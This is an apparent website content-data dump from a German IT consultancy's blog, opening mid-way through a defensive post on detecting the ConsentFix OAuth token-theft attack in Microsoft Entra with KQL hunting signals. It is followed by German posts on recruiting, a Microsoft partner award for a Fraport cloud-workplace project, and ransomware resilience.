client",[970,6988,6989],{},"Limited scope due to availability on Entra ID–integrated devices",[970,6991,6992],{},"Enforcing Compliant Networks via CA will need some Exclusions like Intune to avoid chicken-egg-problems. Detailed testing is needed before rollout",[809,6994,6996],{"id":6995},"hunting-queries","Hunting queries",[814,6998,6999,7000,7003],{},"Once all the prerequisites for token theft mitigations are met - such as deploying the GSA client (including ingestion of ",[2459,7001,7002],{},"NetworkAccessTraffic"," logs) and taking benefit of WAM authentication - we gain additional options for threat hunting and verification.",[1684,7005,7007],{"id":7006},"leveraging-gsa-logs-and-wam-authentication-for-hunting-or-verify-confidence-on-detection-results","Leveraging GSA Logs and WAM Authentication for hunting or verify confidence on detection results",[814,7009,7010,7011,7013],{},"This hunting query leverages ",[2459,7012,7002],{}," logs from Global Secure Access (GSA), which include the initiating process for communication with the Microsoft Entra token endpoint. This helps determine whether a token request originated directly from a browser and also whether any additional token requests were made outside the GSA network.",[1680,7015,7016],{},[814,7017,7018],{},"This query works and delivers only reliable results when the prerequisites are met; otherwise, it leads to a high false-positive rate.",[814,7020,7021,7024,7025,7028,7029,7032],{},[973,7022,7023],{},"Why this matters:"," When signing in via CLI or PowerShell modules using Web Account Manager (WAM) on Windows Devices, the flow does not involve a browser-based authorization code. This sign-in behavior is the default in the latest version. Therefore, if the initiating process is a browser executable (e.g., ",[2459,7026,7027],{},"msedge.exe","), this is a strong indicator of suspicious activity. On macOS, the process is initiated by the Company Portal app (",[2459,7030,7031],{},"com.microsoft.CompanyPortalMac.ssoextension",") when using Platform SSO.",[814,7034,7035,7038],{},[973,7036,7037],{},"Token Binding and PoP:"," WAM authentication typically binds tokens to the device by enforcing Proof-of-Possession (PoP). Attackers cannot issue further bounded tokens without PoP, so an unbounded refresh token is another strong indicator.",[814,7040,7041,7044],{},[973,7042,7043],{},"Limitations:"," All the mentioned signals are only available when the accessing device is registered with or joined to Microsoft Entra ID.",[814,7046,7047,7050],{},[973,7048,7049],{},"Confidence Score Logic:"," The query combines multiple signals to calculate a confidence score:",[965,7052,7053,7056,7059],{},[970,7054,7055],{},"Presence of a browser process initiating token requests.",[970,7057,7058],{},"Detection and down grade to unbounded tokens.",[970,7060,7061],{},"Network provider changes (including Compliant to non-compliant) between sign-ins.",[814,7063,7064],{},"These signals can be used in the query to hunt for activity or to derive a confidence score in the event of an incident based on the previous detection.",[814,7066,7067],{},[1728,7068],{"alt":7069,"src":7070},"Signals for the hunting query","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-08.png",[814,7072,7073],{},"The following scoring will be shown depending on the conditions:",[814,7075,7076,7079,7080,7082,7083,7085,7087,7090,7091,7093,7095,7098],{},[973,7077,7078],{},"A very high confidence score"," is displayed when ",[2459,7081,7002],{}," logs indicate a familiar browser process instead of initiating a token request, and a downgrade of an unbound token has been detected.",[2944,7084],{},[2944,7086],{},[973,7088,7089],{},"A high confidence score"," is shown when the sign-in occurs from a different Network Provider (ASN) and a non-compliant network involving unbound tokens.",[2944,7092],{},[2944,7094],{},[973,7096,7097],{},"A medium confidence score"," is shown when only a change in Network Provider and compliant network is identified, along with a change in the token type used.",[814,7100,7101,7102,3711],{},"You’ll find the latest version of the hunting query on ",[821,7103,7106],{"href":7104,"rel":7105},"https://github.com/Cloud-Architekt/AzureSentinel/blob/main/Hunting%20Queries/EID-Authentication/ConsentFix-HuntingConfidenceOnTokenAndNetworkSignals.kusto",[825],"GitHub",[1684,7108,7110],{"id":7109},"hunting-for-activities-by-issued-tokens","Hunting for activities by issued tokens",[814,7112,7113,7114,7119,7120,7123,7124,7126,7127,7130],{},"You should consider expanding your investigation beyond sign-in events to include activities performed using tokens issued by the attacker. Our colleague Thomas Naunheim has ",[821,7115,7118],{"href":7116,"rel":7117},"https://github.com/Cloud-Architekt/AzureSentinel/blob/main/Hunting%20Queries/EID-TokenHunting/MicrosoftCloudActivity.func",[825],"published a KQL function"," called ",[2459,7121,7122],{},"MicrosoftCloudActivity",", which can assist in this extended hunting process. Additionally, the affected ",[2459,7125,6553],{}," can be correlated with suspicious ",[2459,7128,7129],{},"UniqueId"," values identified during previous hunts for deeper analysis.",[814,7132,7133],{},[1728,7134],{"alt":7135,"src":7136},"KQL function","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-09.png",[814,7138,7139],{},"In this example, the attacker leveraged the refresh token obtained during the attack to issue an access token for the Microsoft Graph API. This token was then used to maintain persistent access and lateral movement by adding a client secret to an application owned by the victim. The query provides details about the Graph API operation, including the token protection status and whether the operation occurred outside the Global Secure Access network.",[814,7141,7142],{},[1728,7143],{"alt":7144,"src":7145},"Graph API operation screenshot","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-10.png",[809,7147,7149],{"id":7148},"further-reading","Further Reading",[965,7151,7152,7159,7166,7173],{},[970,7153,7154],{},[821,7155,7158],{"href":7156,"rel":7157},"https://pushsecurity.com/blog/consentfix",[825],"ConsentFix: Analysing a browser-native ClickFix-style attack that hijacks OAuth consent grants - PushSecurity",[970,7160,7161],{},[821,7162,7165],{"href":7163,"rel":7164},"https://youtu.be/AAiiIY-Soak",[825],"Hacking Endpoint to Identity (Microsoft 365): \"ConsentFix\" - YouTube",[970,7167,7168],{},[821,7169,7172],{"href":7170,"rel":7171},"https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow",[825],"Microsoft identity platform and OAuth 2.0 authorization code flow",[970,7174,7175],{},[821,7176,7179],{"href":7177,"rel":7178},"https://entrascopes.com/?appId=04b07795-8ddb-461a-bbee-02f9e1bf7b46",[825],"Microsoft Azure CLI on entrascpes.com",{"title":1062,"searchDepth":1063,"depth":1063,"links":7181},[7182,7185,7186,7187,7195,7199],{"id":6510,"depth":1063,"text":6511,"children":7183},[7184],{"id":6537,"depth":1765,"text":6538},{"id":6590,"depth":1063,"text":6591},{"id":6606,"depth":1063,"text":6607},{"id":6642,"depth":1063,"text":6643,"children":7188},[7189,7190,7191,7192,7193,7194],{"id":6646,"depth":1765,"text":6647},{"id":6670,"depth":1765,"text":6671},{"id":6732,"depth":1765,"text":6733},{"id":6769,"depth":1765,"text":6770},{"id":6929,"depth":1765,"text":6930},{"id":6948,"depth":1765,"text":6949},{"id":6995,"depth":1063,"text":6996,"children":7196},[7197,7198],{"id":7006,"depth":1765,"text":7007},{"id":7109,"depth":1765,"text":7110},{"id":7148,"depth":1063,"text":7149},{"lang":4,"seoTitle":7201,"titleClass":1077,"date":7202,"categories":7203,"blogtitlepic":7204,"socialimg":7205,"customExcerpt":7206,"keywords":7207,"hreflang":7208,"scripts":7213,"asideNav":7214,"maxContent":511,"published":511},"ConsentFix: How a New OAuth Attack Bypasses Microsoft Entra Conditional Access","2025-12-31",[373],"head-consentfix","/blog/heads/head-consentfix.jpg","Just before year's end, ConsentFix emerges: a clever OAuth-based attack that abuses legitimate authentication flows to steal the authorization code, effectively handing attackers the keys to Microsoft Entra. We break down why this works despite Conditional Access, which signals it leaves behind in the logs, and how defenders can detect and stop it before real damage is done.","ConsentFix attack, OAuth authorization code theft, Microsoft Entra OAuth attack, Azure CLI token abuse, Entra ID Conditional Access bypass, authorization code phishing, token replay attack Azure, Proof of Possession tokens, WAM authentication security, Azure sign-in log analysis, detect OAuth attacks Entra, Azure identity threat hunting, Global Secure Access token protection, Microsoft Entra security detection",[7209,7211],{"lang":4,"href":7210},"/de/posts/2025-12-31-vulnerability-consentfix",{"lang":1091,"href":7212},"/es/posts/2025-12-31-vulnerability-consentfix",{"slick":511,"form":511},{"menuItems":7215},[7216,7218,7220,7222,7224,7226],{"href":7217,"text":6511},"#detection-artifacts",{"href":7219,"text":6591},"#reduce-the-noise",{"href":7221,"text":6607},"#affected-first-party-applications",{"href":7223,"text":6643},"#mitigations-and-protections",{"href":7225,"text":6996},"#hunting-queries",{"href":7227,"text":7149},"#further-reading","/posts/2025-12-31-vulnerability-consentfix",{"title":6415,"description":6421},"posts/2025-12-31-vulnerability-consentfix",[7232,7233,435],"OAuth 2.0","Microsoft Entra ID","NDD1jvAdlYuL-GF0qdikIw2ok6ORgHvwMwbmMrr-GmQ",{"id":7236,"title":7237,"author":7238,"body":7239,"cta":767,"description":7243,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":7340,"moment":7342,"navigation":511,"path":7354,"seo":7355,"stem":7356,"tags":7357,"webcast":752,"__hash__":7359},"content_de/posts/2025-12-08-recruiting-process.md","Ein Teil vom Glück: So läuft unser Bewerbungs­prozess ab",[1397],{"type":806,"value":7240,"toc":7332},[7241,7244,7247,7250,7261,7265,7267,7270,7273,7277,7279,7282,7293,7296,7300,7302,7305,7309,7311,7314,7318,7320,7323,7327,7329],[814,7242,7243],{},"Oft werden wir gefragt: Was muss ich mitbringen? Was ist euch wichtig?",[814,7245,7246],{},"Vielleicht so viel: Wir mögen Menschen, die Lust haben, in einer Tech-Welt unterwegs zu sein, die sich jeden Tag ein Stück weiterdreht. Wir sehen uns als ein Team, das gemeinsam an einem Strang zieht.",[814,7248,7249],{},"Und wir suchen Menschen, die Technik genauso begeistert wie uns:",[965,7251,968,7252,968,7255,968,7258],{},[970,7253,7254],{},"die Herausforderungen nicht scheuen, sondern darin aufgehen, wenn sie tief in komplexe Themen eintauchen können.",[970,7256,7257],{},"die den Status Quo hinterfragen und mit Leidenschaft neue, innovative Lösungen entwickeln für glueckkanja und unsere Kunden.",[970,7259,7260],{},"die gerne Teil einer Community sind, ihr Wissen teilen und voneinander lernen möchten.",[809,7262,7264],{"id":7263},"schritt-1-deine-bewerbung","Schritt 1: Deine Bewerbung",[814,7266,816],{},[814,7268,7269],{},"Du hast deine Unterlagen abgeschickt, der erste Schritt ist getan! Bei uns prüft keine KI deine Bewerbung, sondern unser Recruiting-Team persönlich. Du fragst dich, wer sich hinter dem Recruiting Team verbirgt? Here we are!",[814,7271,7272],{},"Wir, das sind Kerstin, Anna, Steffi und Jan, nehmen uns Zeit, deinen CV genau anzuschauen und prüfen, ob deine Erfahrung und Skills zu unseren Anforderungen passen. Unser Ziel: Du bekommst innerhalb von 1-2 Wochen, meistens sogar schon nach ein paar Tagen, eine Rückmeldung von uns. Wir wissen, wie nervenaufreibend das Warten sein kann.",[809,7274,7276],{"id":7275},"schritt-2-kennenlernen-mit-people-culture","Schritt 2: Kennenlernen mit People & Culture",[814,7278,816],{},[814,7280,7281],{},"Wenn dein Profil passt, starten wir in die erste Runde. Keine Sorge, du musst nicht nervös sein! Du hast mit deinem CV bereits einen super ersten Eindruck hinterlassen. Im Gespräch möchten wir dich als Person kennenlernen:",[965,7283,968,7284,968,7287,968,7290],{},[970,7285,7286],{},"Wer bist du?",[970,7288,7289],{},"Was macht dich aus?",[970,7291,7292],{},"Was suchst du für deine Zukunft?",[814,7294,7295],{},"Hier geht es um ein offenes, ehrliches Kennenlernen auf Augenhöhe.",[809,7297,7299],{"id":7298},"schritt-3-fachlicher-austausch-mit-deinem-zukünftigen-lead","Schritt 3: Fachlicher Austausch mit deinem zukünftigen Lead",[814,7301,816],{},[814,7303,7304],{},"Im zweiten Gespräch lernst du deinen Lead kennen. Jetzt wird es etwas technischer: Wir sprechen über deine fachlichen Skills und du kannst alle Fragen zu Aufgaben, Team und Projekten stellen. Ein bisschen Aufregung gehört dazu – aber hey, du bist schon einen Schritt weiter!",[809,7306,7308],{"id":7307},"schritt-4-team-meet-culture-check","Schritt 4: Team-Meet & Culture Check",[814,7310,816],{},[814,7312,7313],{},"Bei glueckkanja ist Kultur mehr als ein Wort. Sie ist unser Alltag. Deshalb lernst du im letzten Step dein mögliches Team kennen. So stellen wir sicher, dass es für beide Seiten passt, fachlich wie menschlich.",[809,7315,7317],{"id":7316},"finale-dein-angebot","Finale: Dein Angebot",[814,7319,816],{},[814,7321,7322],{},"Du hast uns überzeugt? Dann folgt das persönliche Angebotsgespräch. Hier klären wir alle Details zum Angebot und beantworten deine abschließenden Fragen.",[809,7324,7326],{"id":7325},"warum-so-viele-schritte","Warum so viele Schritte?",[814,7328,816],{},[814,7330,7331],{},"Ganz einfach: Wir möchten sicherstellen, dass du dich bei uns wohlfühlst und wir gemeinsam erfolgreich sind. Unsere Gespräche finden immer auf Augenhöhe statt – und das „Du“ ist bei uns selbstverständlich.",{"title":1062,"searchDepth":1063,"depth":1063,"links":7333},[7334,7335,7336,7337,7338,7339],{"id":7263,"depth":1063,"text":7264},{"id":7275,"depth":1063,"text":7276},{"id":7298,"depth":1063,"text":7299},{"id":7307,"depth":1063,"text":7308},{"id":7316,"depth":1063,"text":7317},{"id":7325,"depth":1063,"text":7326},{"lang":4,"seoTitle":7341,"titleClass":1077,"date":7342,"categories":7343,"blogtitlepic":7344,"socialimg":7345,"customExcerpt":7346,"keywords":7347,"hreflang":7348,"scripts":7353},"Ein Teil vom Glück: So läuft der Bewerbungsprozess bei glueckkanja ab","2025-12-08",[1773],"head-recruiting-process","/blog/heads/head-recruiting-process.png","Du hast eine spannende Stelle bei uns entdeckt und möchtest dich bewerben? Super, wir freuen uns immer über neue Talente! Aber wie geht es nach dem Klick auf „Bewerbung absenden“ weiter? Hier geben wir dir einen Blick hinter die Kulissen.","Bewerbungsprozess glueckkanja, Recruiting IT Unternehmen, IT Jobs Deutschland, Karriere glueckkanja, Employer Branding IT, Bewerbung IT Branche, Tech Jobs, Recruiting Prozess IT, Arbeiten bei glueckkanja, IT Karriere, Talent Acquisition IT, People and Culture IT, Bewerbungsgespräch Tipps IT",[7349,7351],{"lang":1088,"href":7350},"/en/posts/2025-12-08-recruiting-process.md",{"lang":1091,"href":7352},"/es/posts/2025-12-08-recruiting-process.md",{"slick":511,"form":511},"/posts/2025-12-08-recruiting-process",{"title":7237,"description":7243},"posts/2025-12-08-recruiting-process",[2425,7358,2211],"Recruiting","E5_tO1H1HjHrWI0gqoU7HeDVwqnpDmYS4KSTq6xChHs",{"id":7361,"title":7362,"author":7363,"body":7364,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":7442,"moment":7444,"navigation":511,"path":7489,"seo":7490,"stem":7491,"tags":7492,"webcast":752,"__hash__":7494},"content_de/posts/2025-11-12-partner-of-the-year-awards.md","Cloud-first am Flughafen: Microsoft Partner of the Year Awards 2025",[1306],{"type":806,"value":7365,"toc":7436},[7366,7370,7372,7375,7378,7382,7384,7387,7390,7404,7407,7410,7414,7416,7419,7423,7425,7428],[809,7367,7369],{"id":7368},"vom-rollfeld-in-die-cloud","Vom Rollfeld in die Cloud",[814,7371,816],{},[814,7373,7374],{},"Fraport betreibt 29 Flughäfen weltweit, darunter den Flughafen Frankfurt – einen der größten Verkehrsknotenpunkte Europas. Mehr als 80.000 Mitarbeitende halten dort täglich den Betrieb am Laufen: von der Gepäckabfertigung bis zur IT-Sicherheit. Damit diese Abläufe funktionieren, braucht es eine verlässliche, skalierbare und sichere digitale Infrastruktur.",[814,7376,7377],{},"Genau hier setzte das gemeinsame Projekt von Fraport und glueckkanja an: Die bestehende VDI-Umgebung sollte durch eine moderne, cloudbasierte Arbeitsplatzarchitektur ersetzt werden. Das Ziel: mehr Flexibilität, weniger Komplexität, und eine Plattform, die auf die Anforderungen einer global vernetzten Organisation zugeschnitten ist.",[809,7379,7381],{"id":7380},"cloud-managed-workplace","Cloud Managed Workplace",[814,7383,816],{},[814,7385,7386],{},"Im Zentrum steht die Kombination aus Windows 365 Cloud PCs und der Microsoft Intune Suite. Mehr als 16.500 Endpoints werden heute zentral bereitgestellt, verwaltet und abgesichert.",[814,7388,7389],{},"Das Ergebnis:",[965,7391,7392,7395,7398,7401],{},[970,7393,7394],{},"Gerätebereitstellung in Minuten statt Stunden",[970,7396,7397],{},"Automatisierte Prozesse für mehr Effizienz",[970,7399,7400],{},"Transparente Verwaltung und Monitoring",[970,7402,7403],{},"Zero-Trust-Sicherheitsmodell über alle Geräte hinweg",[814,7405,7406],{},"So entsteht ein Arbeitsplatzkonzept, das Fraports Mitarbeitenden sichere und flexible Arbeit über alle Standorte, Endgeräte und Rollen hinweg ermöglicht.",[2371,7408],{":quotes":7409,":no-fullscreen":2043,"spacing":2374},"quoteMicrosoft",[809,7411,7413],{"id":7412},"anerkennung-für-innovation-und-zusammenarbeit","Anerkennung für Innovation und Zusammenarbeit",[814,7415,816],{},[814,7417,7418],{},"Mit den Microsoft Partner of the Year Awards zeichnet Microsoft jedes Jahr Partnerunternehmen aus, die herausragende Cloud-Lösungen, Services und Innovationen entwickeln und umsetzen. In einem globalen Wettbewerb aus mehr als 4.600 Einreichungen wurde glueckkanja für die erfolgreiche Umsetzung des Fraport-Projekts hervorgehoben, ein starkes Zeichen für die Relevanz cloudbasierter Arbeitsplatzlösungen in kritischen Infrastrukturen.",[809,7420,7422],{"id":7421},"ein-blueprint-für-moderne-arbeitsplatzarchitektur","Ein Blueprint für moderne Arbeitsplatzarchitektur",[814,7424,816],{},[814,7426,7427],{},"Das Projekt zeigt, wie sich komplexe Infrastrukturen mit der Cloud neu denken lassen, ohne dabei Kompromisse bei Sicherheit oder Benutzerfreundlichkeit einzugehen. Für Fraport war es der Schritt zu einem standardisierten, cloudbasierten Arbeitsplatzmodell. Für glueckkanja ist es ein Beispiel dafür, wie sich moderne IT-Strategien nachhaltig skalieren lassen.",[814,7429,7430,7431,3711],{},"Die vollständige Liste aller ausgezeichneten Projekte findet sich ",[821,7432,7435],{"href":7433,"rel":7434},"https://aka.ms/2025POTYAWinnersFinalists",[825],"hier",{"title":1062,"searchDepth":1063,"depth":1063,"links":7437},[7438,7439,7440,7441],{"id":7368,"depth":1063,"text":7369},{"id":7380,"depth":1063,"text":7381},{"id":7412,"depth":1063,"text":7413},{"id":7421,"depth":1063,"text":7422},{"seoTitle":7443,"titleClass":1077,"date":7444,"categories":7445,"blogtitlepic":7446,"socialimg":7447,"customExcerpt":7448,"keywords":7449,"contactInContent":7450,"hreflang":7477,"scripts":7482,"quoteMicrosoft":7483},"Cloud-first am Flughafen: Ausgezeichnet bei den Microsoft Partner of the Year Awards 2025","2025-11-12",[1773],"head-partner-of-the-year-2025","/blog/heads/head-partner-of-the-year-2025.jpg","Mehr als 4.600 Nominierungen aus über 100 Ländern und mittendrin ein Projekt, das zeigt, wie moderne IT aussehen kann: Gemeinsam mit Fraport wurde glueckkanja bei den Microsoft Partner of the Year Awards 2025 in der Kategorie Cloud Endpoints ausgezeichnet.","Microsoft Partner of the Year Awards 2025, Cloud Endpoints Award, glueckkanja Fraport, Fraport Microsoft Fallstudie, Windows 365 Cloud PC, Microsoft Intune Suite, Cloud Managed Workplace, Azure Cloud Migration, Zero Trust Sicherheit, Modern Workplace, Cloud-first Strategie, Digitale Arbeitsplatztransformation, Endpoint Management, Automatisierte Gerätebereitstellung, Sichere Cloud-Infrastruktur, Skalierbare IT-Architektur, Cloud Governance und Compliance, Enterprise Mobility und Security, IT-Infrastruktur im Flughafen, Digitale Transformation in der Luftfahrt, IT für kritische Infrastrukturen, Globale IT-Operationen, Remote Work Enablement, IT-Modernisierung im Transportwesen, Cloud-basierter Arbeitsplatz für kritische Infrastrukturen, Microsoft Windows 365 und Intune in Unternehmen, Sichere und skalierbare Endpoint-Verwaltung, Transformation von Flughafen-IT mit Azure",{"quote":511,"infos":7451},{"bgColor":1780,"color":1781,"boxBgColor":764,"boxColor":1781,"headline":7452,"subline":7453,"level":809,"textStyling":1784,"flush":1785,"person":7454,"form":7461},"Jetzt Kontakt aufnahmen","Ihr möchtet mehr über das Projekt und unsere Auszeichnung erfahren? Wir zeigen euch gerne, wie der Weg zur standardisierten Cloud-Architektur bei Fraport umgesetzt wurde.",{"image":7455,"cloudinary":511,"alt":1266,"name":1266,"quotee":1266,"quoteeTitle":7456,"quote":7457,"detailsHeader":1791,"details":7458},"/people/people-christian-kanja.jpg","CEO","Das Projekt mit Fraport zeigt, wie sich durch Standardisierung und Automatisierung ein sicheres, skalierbares Arbeitsplatzmodell umsetzen lässt. Genau das braucht es, um IT-Umgebungen langfristig stabil zu betreiben und weiterzuentwickeln.",[7459,7460],{"text":765,"href":1794,"details":1795,"icon":1796},{"text":766,"href":2179,"icon":1800},{"ctaText":1802,"cta":7462,"method":1074,"action":1805,"fields":7463},{"skin":1804},[7464,7465,7466,7467,7468,7469,7470,7471,7472,7474,7475,7476],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":2185},{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":2305},{"label":1820,"type":1821,"id":1821,"required":511,"requiredMsg":2187},{"label":1824,"type":1825,"id":1826,"required":752,"requiredMsg":1827},{"label":2190,"type":1830,"id":1831,"required":511,"requiredMsg":1832},{"type":1808,"id":1834,"value":373},{"type":1808,"id":1836,"value":2193},{"type":1808,"id":1839,"value":7473},"Form: Blog Microsoft Security Store | DE",{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},{"type":1808,"id":1847},[7478,7480],{"lang":1088,"href":7479},"/en/posts/2025-11-12-partner-of-the-year-awards",{"lang":1091,"href":7481},"/es/posts/2025-11-12-partner-of-the-year-awards",{"slick":511,"form":511},{"items":7484},[7485],{"text":7486,"name":7487,"company":7488,"alt":7487},"Durch den Wechsel zu Windows 365 Cloud PCs und zur Intune Suite haben wir ein neues Maß an Agilität und Sicherheit erreicht. Die Zusammenarbeit mit glueckkanja hat die Basis für zukünftige Innovationen gelegt.","Niklas Rast","Senior Solution Architect bei Fraport","/posts/2025-11-12-partner-of-the-year-awards",{"title":7362,"description":1062},"posts/2025-11-12-partner-of-the-year-awards",[1860,7493],"Partner of the Year","ESlMuGky_Fa1-lNi9c7c4mlvzJvtx7RpTRblJoImlvw",{"id":7496,"title":7497,"author":7498,"body":7499,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":7626,"moment":7627,"navigation":511,"path":7660,"seo":7661,"stem":7662,"tags":7663,"webcast":752,"__hash__":7665},"content_de/posts/2025-10-07-prevent-cyber-attacks.md","Cyberangriffe verhindern: Wie Unternehmen mit IT-Strukturen Resilienz schaffen",[1306],{"type":806,"value":7500,"toc":7617},[7501,7505,7507,7510,7513,7517,7519,7523,7525,7533,7536,7540,7542,7550,7553,7560,7564,7566,7573,7580,7584,7586,7594,7597,7601,7603,7606,7609],[809,7502,7504],{"id":7503},"warum-cyberangriffe-so-oft-erfolgreich-sind","Warum Cyberangriffe so oft erfolgreich sind",[814,7506,816],{},[814,7508,7509],{},"Ransomware-Attacken sind kein Zufall. Angreifende wählen gezielt Zeitpunkte, in denen Unternehmen personell unterbesetzt sind – etwa am Wochenende. Sie nutzen Schwachstellen wie veraltete Authentifizierungsprozesse, nicht gepatchte Systeme oder falsch konfigurierte Zugänge aus. Ein häufiger Fehler: Es fehlt an einem einheitlichen Sicherheitskonzept. Statt einer durchdachten Gesamtstrategie arbeiten viele Unternehmen mit Einzelmaßnahmen, die bei komplexen Angriffen nicht ausreichen.",[814,7511,7512],{},"Doch es gibt Ansätze, die sich bewährt haben: ein Sicherheitsmodell, das auf Zero-Trust-Prinzipien basiert, sowie eine klare Strukturierung von Zugriffsrechten und Automatisierung, um im Ernstfall schnell reagieren zu können.",[809,7514,7516],{"id":7515},"drei-säulen-für-eine-belastbare-it-sicherheitsstrategie","Drei Säulen für eine belastbare IT-Sicherheitsstrategie",[814,7518,816],{},[809,7520,7522],{"id":7521},"sichere-infrastruktur-die-basis-für-resilienz","Sichere Infrastruktur – die Basis für Resilienz",[814,7524,2471],{},[814,7526,7527,7528,7532],{},"Eine belastbare IT-Infrastruktur muss nicht nur zuverlässig funktionieren, sondern auch Sicherheitslücken aktiv schließen. In unserem Beispiel mussten 300 Rechner isoliert werden. Der erste Schritt war daher die komplette Neuinstallation einer sauberen Umgebung – basierend auf unserer ",[821,7529,7531],{"href":7530},"https://www.glueckkanja.com/de/azure/azure-foundation?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article"," Azure Foundation",". Diese Cloud-Infrastruktur folgt klaren Sicherheitsrichtlinien und wird mit Infrastructure-as-Code (IaC) standardisiert ausgerollt. So können Sicherheitskonfigurationen nach Best Practices immer wieder automatisiert geprüft und aktualisiert werden.",[814,7534,7535],{},"Ein weiterer Vorteil: Der Einsatz von Zero-Trust-Prinzipien sorgt dafür, dass Workloads segmentiert sind und nur für autorisierte Verbindungen freigegeben werden. So bleibt die Angriffsfläche minimal.",[809,7537,7539],{"id":7538},"sicherheit-beginnt-bei-der-authentifizierung","Sicherheit beginnt bei der Authentifizierung",[814,7541,2471],{},[814,7543,7544,7545,7549],{},"In fast jedem Cyberangriff ist die Identitätsverwaltung der erste Angriffspunkt. Passwörter allein reichen längst nicht mehr aus. Mit ",[821,7546,7548],{"href":7547},"https://www.glueckkanja.com/de/modern-workplace/azure-active-directory?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article","Entra ID"," lassen sich User-Konten zentral verwalten und absichern. Multifaktor-Authentifizierung (MFA) gehört dabei zur Grundausstattung.",[814,7551,7552],{},"Ein weiterer Vorteil: Verdächtige Aktivitäten werden automatisch erkannt und überprüft. Wenn beispielsweise ein User sich nach wenigen Minuten erneut von einem anderen Standort einloggt, wird dies als potenzielle Bedrohung erkannt und der Zugang automatisch gesperrt.",[814,7554,7555,7556,7559],{},"Um Angreifende in der Infrastruktur zu erkennen, kommen erweiterte Systeme wie Extended Detection and Response (XDR) und Security Information and Event Management (SIEM) zum Einsatz. Diese Lösungen bündeln Alarme und Ereignisse, werten sie aus und sorgen für eine schnelle Einordnung. Ein Managed SOC – wie beispielsweise das ",[821,7557,425],{"href":7558},"https://www.glueckkanja.com/de/security/cloud-security-operations-center?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article "," von glueckkanja – unterstützt dabei, diese Technologien optimal zu nutzen.",[809,7561,7563],{"id":7562},"arbeitsplätze-schnell-wiederherstellen","Arbeitsplätze schnell wiederherstellen",[814,7565,2471],{},[814,7567,7568,7569,7572],{},"Nach einem Angriff müssen Mitarbeitende schnell wieder arbeitsfähig sein. Dafür sind cloudbasierte Lösungen wie ",[821,7570,103],{"href":7571},"https://www.glueckkanja.com/de/modern-workplace/microsoft-intune?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article"," essenziell. Über ein zentrales Portal können Geräte vollständig zurückgesetzt und mit allen Konfigurationen ausgestattet werden – unabhängig davon, wo sich der User befindet.",[814,7574,7575,7576,7579],{},"Der Vorteil: Die Mitarbeitenden können den Prozess eigenständig durchführen, ohne dass die IT-Abteilung jedes Gerät manuell aufsetzen muss. Zusätzlich verteilen Plattformen wie ",[821,7577,519],{"href":7578},"https://www.realmjoin.com/?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article"," alle relevanten Softwarepakete automatisiert und stellen sicher, dass Sicherheitsupdates installiert sind.",[809,7581,7583],{"id":7582},"absicherung-für-den-ernstfall-azere-als-notfalllösung","Absicherung für den Ernstfall: AzERE als Notfalllösung",[814,7585,816],{},[814,7587,7588,7589,7593],{},"Ein Vorfall wie dieser zeigt, wie wichtig es ist, eine Notfallstrategie parat zu haben. ",[821,7590,7592],{"href":7591},"https://www.glueckkanja.com/de/azure/azure-emergency-response-environment?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article","AzERE","(Azure Emergency Response Environment) bietet eine isolierte Umgebung, in der kritische Systeme wie der Domain Controller in einer sicheren „Dark Tenant“-Instanz repliziert werden. Das ermöglicht den Zugriff auf eine saubere Version der Daten, selbst im Falle eines großflächigen Angriffs.",[814,7595,7596],{},"Zusätzlich ermöglicht AzERE die Einrichtung eines digitalen „War Rooms“: eine Plattform, auf der alle relevanten Stakeholder zusammenkommen, um Maßnahmen in Echtzeit zu koordinieren. Diese zentrale Kommunikationsfähigkeit kann den entscheidenden Unterschied machen, wenn Minuten über Erfolg oder Misserfolg entscheiden.",[809,7598,7600],{"id":7599},"fazit-proaktive-resilienz-statt-reaktion-auf-bedrohungen","Fazit: Proaktive Resilienz statt Reaktion auf Bedrohungen",[814,7602,816],{},[814,7604,7605],{},"Der Vorfall zeigt: Ein wirkungsvolles Sicherheitskonzept erfordert mehr als punktuelle Lösungen. Es braucht ein Zusammenspiel aus einer sicheren Cloud-Infrastruktur, einem robusten Identitätsmanagement und einer modernen Arbeitsumgebung, die sich schnell wiederherstellen lässt.",[814,7607,7608],{},"Und genau deshalb erzählen unsere IT Workaholics-Geschichten von Menschen, deren IT-Alltag wir vom Krisenmodus zurück in den Normalbetrieb geholt haben.",[814,7610,7611,7612,7616],{},"Jetzt ",[821,7613,7615],{"href":7614},"https://www.glueckkanja.com/de/it-workaholics?utm_source=heise&utm_medium=paid&utm_campaign=it-workaholics&utm_content=heise-article","IT Workaholics-Geschichten"," lesen!",{"title":1062,"searchDepth":1063,"depth":1063,"links":7618},[7619,7620,7621,7622,7623,7624,7625],{"id":7503,"depth":1063,"text":7504},{"id":7515,"depth":1063,"text":7516},{"id":7521,"depth":1063,"text":7522},{"id":7538,"depth":1063,"text":7539},{"id":7562,"depth":1063,"text":7563},{"id":7582,"depth":1063,"text":7583},{"id":7599,"depth":1063,"text":7600},{"lang":4,"seoTitle":7497,"titleClass":1077,"date":7627,"categories":7628,"blogtitlepic":7629,"socialimg":7630,"customExcerpt":7631,"keywords":7632,"contactInContent":7633,"hreflang":7653,"footer":7658,"scripts":7659,"published":511},"2025-10-07",[373],"head-preventing-cyber-attacks","/blog/heads/head-preventing-cyber-attacks.png","Samstagmorgen, irgendwo in Deutschland. Während das Wochenende für viele gerade begonnen hat, bemerkt unser Team die ersten Warnsignale auf den Systemen eines Kundenunternehmens: Ungewöhnliche Aktivitäten, die sofort alle Alarmglocken läuten lassen. 